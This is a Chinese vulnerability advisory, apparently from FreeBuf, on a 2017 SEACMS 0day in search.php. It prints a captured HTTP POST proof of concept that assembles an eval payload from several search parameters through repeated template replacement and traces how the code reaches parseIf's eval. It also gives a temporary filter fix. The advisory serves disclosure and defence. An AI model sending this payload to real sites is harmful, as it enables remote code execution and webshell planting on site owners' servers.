漏洞預警 | 海洋CMS(SEACMS)0day漏洞預警
概述
最近我們的一名安全託管客戶反應,其伺服器遭受到攻擊,被黑客上傳了webshell並篡改網頁內容。經過我們為客戶安裝雲鎖防護軟體後,攔截到一個針對海洋CMS(SEACMS)的0day漏洞。
海洋CMS是一套專為不同需求的站長而設計的視頻點播系統,在影視類CMS中具有很高的市場佔有率,其官方地址是:http://www.seacms.net/
海洋CMS(SEACMS)幾個老漏洞及其修補方法
在2017年2月,海洋CMS 6.45版本曾爆出一個前台getshell漏洞,漏洞具體內容參見:http://blog.csdn.net/qq_35078631/article/details/76595817。該漏洞成因在於search.php沒有對用戶輸入內容進行過濾,導致攻擊者提交的order參數可進入parseIf函數中執行eval。
官方在6.46版中修復了該漏洞,修復方法是對用戶輸入的參數進行過濾並限制長度為20個字元。但這種修復方法並沒有完全修復漏洞,因為在替換操作過程中用戶輸入的幾個參數可以進行組合,因此補丁被繞過。
隨後官方又在8月7日發布了6.54版本再次修復漏洞,這次修復增加了一句:
$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";
即限制了order參數只能是固定內容,這樣雖然避免了通過order參數進行的攻擊,但是卻沒有解決其他參數進入parseIf函數的問題。
海洋CMS(SEACMS)0day漏洞分析
我們抓取到的攻擊payload(POC)如下:
POST /search.php HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Connection: keep-alive
Upgrade-Insecure-Requests: 1
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
可以看到,攻擊入口已經不在是order參數,我們來看一下search.php中的搜索實現過程:
function echoSearchPage()
{
......
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
......
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
......
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);
......
$content=$mainClassObj->parseIf($content);
可以看到,代碼中對html中的searchpage標籤進行了多次替換,而攻擊者也正是利用了這一點,在多次替換過程中使多個參數共同組合成最終的payload,這樣既繞開了RemoveXSS的過濾又繞過了20位元組的長度限制。
在對參數進行了替換之後,content中已經包含了如下攻擊payload:
if:eval(join($_POST[9]))
在隨後的POST數據中攻擊者又利用9[]把真正的payload利用base64_decode傳入。最終$content內容被傳入parseIf函數。在parseIf函數中判斷含有if:標籤,就會調用eval來執行該內容,從而導致了攻擊者的payload被執行。
function parseIf($content){
if (strpos($content,"{if:")=== false){
return $content;
}else{
......
@eval("if(".$strIf."){$ifFlag=true;}else{$ifFlag=false;}");
漏洞修復
根據云鎖監測,目前該0day已經被大規模運用,而且攻擊者使用自動化攻擊腳本對全網SEACMS進行搜索並實施自動攻擊。我們已在9月份向CNVD和廠商報告了漏洞詳情,但截至2017.10.9,SEACMS仍然未發布該漏洞的補丁。建議SEACMS用戶立即安裝雲鎖並開啟文件防上傳功能,可暫時避免被自動化程序攻擊。或在echoSearchPage()函數中增加一條過濾語句:
if(strpos($searchword,"{searchpage:")) exit;
*本文作者:天擇實習生,轉載請註明來自FreeBuf.COM


※「薅羊毛」漏洞分析 | 我是如何到處「混吃混喝」的
※看片要當心了!色站不只掏空你,還可能掏空你的電腦
※開源軟體安全現狀分析報告
※黑帽SEO剖析之隱身篇
※Discuz! 任意文件刪除漏洞重現及分析
TAG:FreeBuf |